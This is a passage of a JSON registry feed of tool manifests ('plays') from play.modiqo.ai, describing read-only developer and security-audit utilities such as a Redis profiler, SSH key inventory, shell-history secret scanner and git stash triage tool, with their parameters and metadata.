dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-database","job-postgres-explain","tool-query-analyzer","audience-developers","effect-read-only"],"primary_domain":"domain-database","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:25:07.419345+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6548,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["seq_scan_detector","sql_antipattern_scanner","join_complexity_analyzer","sort_and_aggregate_bench"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"PostgreSQL EXPLAIN plan text, SQL query string, or .sql file path, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:41a1a41e7062f71fc994675bc4ce1c17b3fee41a14674706846e4e302d95470a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/redis-memory-profiler@0.1.0","reference":"ameykaulavkar/redis-memory-profiler@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/redis-memory-profiler@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/redis-memory-profiler@0.1.0","name":"redis-memory-profiler","title":"redis-memory-profiler","description":"Redis in-memory cache health profiler, memory fragmentation analyzer, eviction policy auditor, and slowlog latency sentinel. Communicates directly over standard RESP sockets with zero external dependencies.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-database","job-redis-profiler","tool-cache-health","audience-developers","effect-read-only"],"primary_domain":"domain-database","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:23:46.80814+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6072,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["ttl_hygiene_checker","eviction_policy_audit","slowlog_latency_radar","memory_fragmentation_probe"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Redis host:port (e.g. '127.0.0.1:6379' or 'redis.internal:6379') or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8bf12376c626d2d30b584648f40db0b06cb491a5b965a456ebbc80725f581c3f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ameykaulavkar/env-schema-validator@0.1.0","reference":"ameykaulavkar/env-schema-validator@0.1.0","uri":"https://play.modiqo.ai/ameykaulavkar/env-schema-validator@0.1.0","manifest_uri":"https://play.modiqo.ai/ameykaulavkar/env-schema-validator@0.1.0","name":"env-schema-validator","title":"env-schema-validator","description":"Environment variable synchronization auditor, committed secret exposure radar, type inference engine, and POSIX naming validator for .env and .env.example files. S0-clean, zero external dependencies, read-only.","owner":{"kind":"user","slug":"ameykaulavkar"},"registry_organization":"ameykaulavkar","tags":["domain-configuration","job-env-validator","tool-env-guard","audience-developers","effect-read-only"],"primary_domain":"domain-configuration","author":"ameykaulavkar","version":"0.1.0","published_at":"2026-09-06T01:22:26.583654+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7455,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["env_sync_drift_probe","secret_exposure_radar","naming_convention_audit","type_and_format_validator"]},"parameters":[{"name":"target","type":"string","required":false,"default":"sample","description":"Path to .env.example, .env, or project directory, or 'sample'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7ffd2dde6608c0dedd22fa796e368a41986c219c2dc68aba06d42a63d691dab4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":4,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/tests-that-never-fail@0.1.2","reference":"lgoyal6/tests-that-never-fail@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/tests-that-never-fail@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/tests-that-never-fail@0.1.2","name":"tests-that-never-fail","title":"tests-that-never-fail","description":"A test that has never once failed has never caught anything. It bills you on every run and every CI minute and you cannot point at one bug it stopped. This answers that WITHOUT running the suite, by joining two sources nobody joins: the pass/fail evidence already on your machine against the tests declared in the tree. Evidence comes from JUnit XML, jest/vitest and mocha JSON, a .pytest_cache, saved test logs - and from your Claude Code and Codex session transcripts for this root, because a build directory holds only the last run while months of transcripts hold every run somebody watched. That is where a window long enough to say \"never failed\" comes from: turning transcripts off collapses a real repository here from 63 recorded runs to 4, and the play then refuses to answer rather than guess. Read-only, offline, no credentials, never executes a test. Needs python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","testing-workflows","job-test-value-audit","tool-static-analysis","effect-read-only","tests-that-never-fail","test-value","never-failed","junit-xml","pytest-cache","jest-report","go-test-output","session-transcripts","observation-window","test-history","ci-minutes","vacuous-assertions","evidence-join","no-suite-run-needed","false-positive-gated","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:02:24.034736+00:00","visibility":"public","quality_score":1,"size_bytes":49943,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["join","verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the repository whose tests and recorded runs should be read. A relative path is refused, because a step here runs with its working directory inside rote's own workspace rather than your shell, and a relative root would report that nothing in your suite has ever failed about a repository it never opened.","example":"/Users/you/your-repo"},{"name":"min_runs","type":"string","required":false,"default":"5","description":"How many recorded runs a test needs before a no-failure record is treated as a finding rather than as an observation count. Never goes below 3, and the report prints the headline at four thresholds so you can see how much the answer depends on this number.","example":"8"},{"name":"cost_floor_seconds","type":"string","required":false,"default":"0.05","description":"Total measured seconds a never-failing test must have consumed across its recorded runs before it is ranked as expensive rather than filed as cheap context","example":"1.0"},{"name":"history","type":"string","required":false,"default":"on","description":"Set to off to read only the repository's own artifacts and skip agent session transcripts. The observation window usually collapses without them, and the report says so rather than reporting a shorter window as if it were the whole history.","example":"off"},{"name":"budget_seconds","type":"string","required":false,"default":"90","description":"Wall-clock budget for the directory walk and, multiplied, for each analysis shard; when it runs out the run is labelled PARTIAL rather than silently short","example":"30"},{"name":"max_depth","type":"string","required":false,"default":"12","description":"How many directory levels below root to walk when looking for test sources and recorded results","example":"6"},{"name":"max_shards","type":"string","required":false,"default":"16","description":"Upper bound on parallel analysis shards; files are packed by total bytes so no one shard inherits a monorepo's tail","example":"4"},{"name":"verify_budget_seconds","type":"string","required":false,"default":"150","description":"Wall-clock budget for each independent verification; a check that runs out of time reports PARTIAL or UNKNOWN rather than AGREED","example":"60"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b87f6610f19336c708acdc40291d021aa6382ca08576ce622421eaeda17dc289","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":8,"for_each_steps":2,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/stash-graveyard@0.1.2","reference":"lgoyal6/stash-graveyard@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/stash-graveyard@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/stash-graveyard@0.1.2","name":"stash-graveyard","title":"stash-graveyard","description":"You have git stashes from months ago and no idea which of them hold work that exists nowhere else. Dropping the wrong one is unrecoverable, so you drop none of them. This opens every stash and every linked worktree under an absolute root and splits them into safe-to-drop and holds-unique-work. \"Already landed\" is decided by CONTENT, not by date: the post-image blob oid of every path a stash changed is looked for at that same path across every branch, tag and remote ref, and a blob oid is a content hash, so a match proves the bytes are already reachable. Measured here: 6 stashes held 34 unlanded paths, 28 of which were `__pycache__` and `.DS_Store`. A structural gate on whole path segments took that to 6 real paths and moved 2 stashes into safe-to-drop. It prints recovery and drop commands and never runs one. Needs git, python3 and bash. Offline, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-stash-triage","tool-git","effect-read-only","git-stash","git-worktree","patch-id","blob-identity","merge-tree","three-way-merge","already-landed","safe-to-drop","prunable-worktree","uncommitted-work","recoverable-work","non-destructive","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:02:12.344646+00:00","visibility":"public","quality_score":1,"size_bytes":38140,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the directory holding your repositories. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would walk the wrong tree and report it clean.","example":"/Users/you/code"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for repositories. 1 finds root itself when root is a repository.","example":"4"},{"name":"max_repos","type":"string","required":false,"default":"200","description":"Upper bound on how many candidate repositories are analysed. Candidates are only repositories that already have a stash reference or a linked-worktree record, so this bound is rarely reached.","example":"200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4e20ee04b5036cbd69e0021c09d2b3645d4d2bfd1f27a91379f5c4f59b015eac","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":8,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/ssh-key-hygiene@0.1.2","reference":"lgoyal6/ssh-key-hygiene@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/ssh-key-hygiene@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/ssh-key-hygiene@0.1.2","name":"ssh-key-hygiene","title":"ssh-key-hygiene","description":"An SSH key you generated for one server in 2021 is still a valid credential today, everywhere it was ever authorised. SSH keys do not expire, are not rotated on a schedule, and leave no receipt. This inventories every private key under a .ssh directory and ranks them by HOW MUCH THEY COULD OPEN. Whether a key has a passphrase is read out of the container structure - an openssh-key-v1 body declares its cipher in plaintext before any secret - so no decrypt is attempted, ssh-keygen is never asked to derive a public key, and nothing is ever typed at you. Reach is a property, not a tuned number: a key is BROAD when the destinations it is offered to cannot be enumerated. \"Unused\" is never claimed, because nothing local can see remote authorized_keys or a forge deploy key, so the strongest honest verdict is NO LOCAL EVIDENCE OF USE. Read-only and hands-off: nothing is written, nothing is added to the agent, no host is contacted, no private key byte is ever printed. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","security-review","job-key-hygiene","tool-ssh","effect-read-only","ssh-keys","openssh","passphrase","key-rotation","blast-radius","known-hosts","ssh-agent","credential-audit","audience-developers","audience-security-engineers","audience-solo-founders","read-only","offline","no-network","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:02:07.915387+00:00","visibility":"public","quality_score":1,"size_bytes":41541,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"home","type":"string","required":true,"description":"ABSOLUTE path to the home directory whose SSH keys you want inventoried. A relative root is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory: it would find no key at all and report a machine nobody looked at as clean.","example":"/Users/you"},{"name":"ssh_dir","type":"string","required":false,"default":"","description":"ABSOLUTE path to the .ssh directory, when it is not the conventional one inside home. Left unset, home/.ssh is used. Subdirectories are walked three levels deep, which is where old keys usually end up.","example":"/Users/you/.ssh"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e245a5421192e51e0c4352e547f356f4317f4f19405cb5fd4be8118a784a880b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":4,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/shell-history-secrets@0.1.2","reference":"lgoyal6/shell-history-secrets@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/shell-history-secrets@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/shell-history-secrets@0.1.2","name":"shell-history-secrets","title":"shell-history-secrets","description":"Every credential you have ever typed on one line is still sitting in your shell history in plaintext, and you have never looked. This reads the history files on this machine - zsh, bash, fish, and the psql, mysql, python and node ones - and reports the credentials typed as ARGUMENTS: an export, a curl Authorization header, a postgres:// string with an inline password, a key pasted into a heredoc. It checks for key MATERIAL, not for credential shape: a PEM header needs a body that decodes, a JWT must decode to two JSON objects, a vendor prefix must meet that vendor's documented length. On the real histories of this machine a shape-only matcher fires 23 times, 21 of them with no key material - a 91% false-positive rate. This play reports 3, all confirmed by hand. No credential value is ever printed, written or carried past the one function that classifies it - the finding record has no value field to attach one to. Read-only; no history file is opened for writing. Needs python3 and bash.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","security-review","job-secret-audit","tool-shell","effect-read-only","shell-history","zsh-history","bash-history","fish-history","credential-leak","secret-scanning","false-positive-control","key-material-verification","jwt","pem-private-key","file-permissions","exposure-ranking","credential-rotation","incident-response","audience-developers","audience-security-engineers","audience-solo-founders","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:01:40.318622+00:00","visibility":"public","quality_score":1,"size_bytes":53073,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"ABSOLUTE path to the home directory whose shell histories you want read. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would find no history file at all and report the machine clean.","example":"/Users/you"},{"name":"depth","type":"string","required":false,"default":"5","description":"How many directory levels below root to search for history files. The canonical ones sit at the top level; a deeper walk finds the copies that ended up inside project directories, which are the ones most likely to be inside a git working tree.","example":"5"},{"name":"max_findings","type":"string","required":false,"default":"25","description":"How many findings to list per history file before the rest become a count. Every finding is still ranked, still verified, and still written to the per-file detail JSON named in the result.","example":"25"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fdc5ef62d61724bbbc735b088ad4de4903403e20d388d9783e5b854af9885c6a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":4,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/registry-presence@0.1.3","reference":"lgoyal6/registry-presence@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/registry-presence@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/registry-presence@0.1.3","name":"registry-presence","title":"registry-presence","description":"You have published plays. You do not know which of them are broken promises: a local version ahead of what is published means strangers are running the copy you already fixed. This audits your own published catalog against your local rote flows tree, one owner slug at a time. Also found: a published play missing from your local tree, since you cannot patch what you cannot find; a description over the measured 3985-character publish cap, which `rote play lint` and `rote play score` both pass at 1.00 while the registry refuses it; a published quality score below 1.00; thin discoverability; and near-duplicate descriptions among your own plays, so two of them are never quietly competing for one searcher. No mutation, ever: it never publishes, releases, unpublishes or changes visibility. Exactly one network call in the whole run, to the public feed, with the reconciliation done offline against the cached copy. Needs curl and python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-registry-catalog-audit","tool-rote","effect-read-only","registry-audit","catalog-hygiene","version-drift","release-integrity","quality-score","discoverability","near-duplicate-detection","audience-play-authors","audience-hackathon-builders","audience-developers","read-only","single-network-call","no-credentials","rote-registry"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:01:13.493027+00:00","visibility":"public","quality_score":1,"size_bytes":22570,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":2,"names":["audit","selfcheck"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"The registry owner slug whose OWN catalog to audit, e.g. the handle you publish plays under. Matched against each local play's frontmatter provenance.author, and against the feed item's owner.slug / author field - never against a directory name, because an installed copy of someone else's play can sit in a directory named anything.","example":"lgoyal6"},{"name":"flows_root","type":"string","required":false,"default":"~/.rote/flows","description":"Local rote flows directory to read. Only FLAT top-level play directories (the ones you author, with main.ts directly inside) are read for this owner; a namespaced owner/play install mirror is skipped by construction. A relative path other than a leading ~ is refused with exit 2, because a step runs in rote's own workspace rather than your shell directory.","example":"/Users/you/.rote/flows"},{"name":"top","type":"string","required":false,"default":"12","description":"How many ranked findings to print in full before the rest become a one-line index. Every finding is still counted either way.","example":"12"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3a7ca6eacec010723e1ebdc2f67bda5e51dac2b3112c5301530136cb94680733","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/lgoyal6/pr-rejection-risk@0.1.3","reference":"lgoyal6/pr-rejection-risk@0.1.3","uri":"https://play.modiqo.ai/lgoyal6/pr-rejection-risk@0.1.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/pr-rejection-risk@0.1.3","name":"pr-rejection-risk","title":"pr-rejection-risk","description":"You wrote the patch. Will that project actually merge it? This answers from the project's OWN record rather than from advice, joining every outside pull request the forge has decided against the diff of the branch on your disk. First the base rate with its denominator: what share of outside PRs merged, the median hours to a first HUMAN review (bot reviewers excluded, because a Copilot review inside six minutes turns that median into 0.0 and hides that nobody has looked), and the median size of what lands. Then the actionable half: not \"add a test\", but which attributes actually SEPARATE merged from rejected HERE. Each of eight is scored as a 2x2 and survives only on sample size, a 20-point gap and one-sided Fisher under 0.05. On a real repository 6 of the 8 produced no finding, each suppressed with a named reason, in a project whose merged PRs carry a test only 17% of the time - where \"add a test\" would have been confident nonsense. Needs git and python3; gh optional.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-open-source","job-contribution-research","tool-github-api","tool-git","tool-gh-cli","effect-read-only","pull-request","merge-rate","base-rate","code-review","contributing","upstream","outside-contributor","fisher-exact","evidence-based","audience-contributors","audience-maintainers","read-only","no-credentials","branch-review"],"primary_domain":"domain-open-source","author":"lgoyal6","version":"0.1.3","published_at":"2026-09-06T01:01:01.394345+00:00","visibility":"public","quality_score":1,"size_bytes":37795,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":4,"names":["verify","analyze","discover","selfcheck"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"ABSOLUTE path to your local clone of the project you want to contribute to. A relative path is refused with an actionable message, because a step runs in rote's own workspace rather than your shell directory and would read the wrong tree and report it clean.","example":"/Users/you/code/prettier"},{"name":"branch","type":"string","required":true,"description":"The local branch you intend to propose. It is compared against the base as a three-dot diff, so only your own commits count; it is never checked out, rebased or written to.","example":"fix-unclamped-tofixed"},{"name":"base","type":"string","required":false,"default":"auto","description":"The branch you would open the pull request against. auto resolves origin/HEAD, then origin/main, origin/master, main, master, and reports UNKNOWN if none exists rather than guessing.","example":"origin/main"},{"name":"sample","type":"string","required":false,"default":"150","description":"How many of the project's newest pull requests to read, at 50 per API call, capped at 400. Every rate printed carries the denominator this produced, and a rate over fewer than 10 is labelled TOO THIN rather than reported.","example":"200"},{"name":"stale_days","type":"string","required":false,"default":"90","description":"How long a pull request must sit open before it is counted as one that may never be decided. Reported as a count with its denominator, never folded into the merge rate.","example":"180"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:17fb07126c80f978df81f57d27d09eaf1afd47babf9469b8904adf68ac165621","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":6,"for_each_steps":2,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/installed-never-used@0.1.2","reference":"lgoyal6/installed-never-used@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/installed-never-used@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/installed-never-used@0.1.2","name":"installed-never-used","title":"installed-never-used","description":"You installed it to try one thing and it has lived on your machine ever since. Multiply by every package manager you have. This inventories Homebrew, global npm, pnpm, yarn and bun, pipx, cargo, go install, uv tool and RubyGems, then joins that against evidence you have ever actually RUN each one. The dependency question is answered FIRST and it is the whole safety argument: a package that something else here needs can never appear in the removable list, whatever the usage evidence says, and a manager whose graph cannot be read is marked UNSAFE TO ACT ON with all of its packages withheld. An install manifest is never evidence of use - on this machine a Brewfile alone was hiding six real rows. Every row reads \"no evidence of use\", never \"never used\", and the observation window is measured rather than assumed. Uninstall commands are PRINTED for you to review, never executed. Needs only python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-developer-tools","operations-workflows","job-machine-hygiene","tool-shell","effect-read-only","package-managers","homebrew","npm-global","pipx","cargo-install","go-install","uv-tool","rubygems","shell-history","dependency-graph","unused-software","disk-space","uninstall-candidates","evidence-of-use","audience-developers","audience-platform-engineers","macos","linux","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-developer-tools","author":"lgoyal6","version":"0.1.2","published_at":"2026-09-06T01:00:24.008585+00:00","visibility":"public","quality_score":1,"size_bytes":42012,"license":null,"stats":{"downloads":0,"installs":0},"steps":{"count":5,"names":["verify","analyze","discover","reconcile","selfcheck"]},"parameters":[{"name":"home","type":"string","required":false,"default":"","description":"Absolute path to the home directory whose installed software and shell history are read. Empty means $HOME. A process.exec step runs in rote's own workspace rather than your shell, so a RELATIVE path would look for history and config inside that workspace, find none, and report a confident \"nothing here is unused\" on a machine full of it; a relative value is refused with exit 2 instead.","example":"/Users/you"},{"name":"managers","type":"string","required":false,"default":"all","description":"Comma-separated subset of brew, brew_cask, npm_global, pnpm_global, yarn_global, bun_global, pipx, cargo, go_install, uv_tool, gem. The default reads every one that is present; a manager that is absent is reported as absent, never as empty.","example":"brew,pipx"},{"name":"min_age_days","type":"string","required":false,"default":"7","description":"A package installed more recently than this is set aside as TOO NEW rather than reported. Absence of use over three days is three days, not a finding, and a freshly installed tool is the easiest bogus row to produce. Set 0 to judge everything regardless of age.","example":"30"},{"name":"scan_configs","type":"string","required":false,"default":"1","description":"Whether to scan dotfiles, config roots and scripts for references. Set 0 to skip it, which is FASTER and STRICTLY WORSE - a tool invoked only from a Makefile, a launch agent or an alias leaves no shell history line, so without this scan it looks exactly like a tool nobody ever ran.","example":"0"},{"name":"scan_roots","type":"string","required":false,"default":"","description":"Extra ABSOLUTE directories to include in the reference scan, comma separated - point this at the project trees whose Makefiles and scripts drive your tools, and the residual class shrinks. Relative entries are refused rather than silently resolved inside rote's workspace.","example":"/Users/you/src"},{"name":"max_config_files","type":"string","required":false,"default":"3000","description":"Hard cap on files opened by the reference scan. Hitting it is disclosed in the report as narrowed coverage rather than silently weakening the evidence behind every row.","example":"8000"},{"name":"top","type":"string","required":false,"default":"25","description":"How many rows to print per section. The complete set is always written to report.json in the run workspace; this bounds display only, and every count shown is of the whole set rather than of the displayed slice.","example":"60"},{"name":"budget_s","type":"string","required":false,"default":"240","description":"Seconds the discovery and reference scan may take before it stops and says so. A budget that was reached is reported as narrowed coverage, never as a clean result.","example":"600"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a85608dccd07b092f49341fe7010a8f7d16547afe9c6a42cf6c4456604fc4604","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":6,"for_each_steps":2,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/env-shadowing@0.1.2","reference":"lgoyal6/env-shadowing@0.1.2","uri":"https://play.modiqo.ai/lgoyal6/env-shadowing@0.1.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/env-shadowing@0.1.2","name":"env-shadowing","title":"env-shadowing","description":"The same variable is set in your shell rc, a .env, a .envrc, a launchd plist, a compose file and a CI workflow, with different values, and nobody knows which one wins. This finds every place a variable is DEFINED, groups by name, and gives one of three answers, because only three are true. RESOLVED: the definitions all sit in the shell startup chain, which really is ordered, so the last unconditional assignment wins and the earlier ones are named dead - and a file your shell never reads is reported dead outright. PER-RUNTIME: they 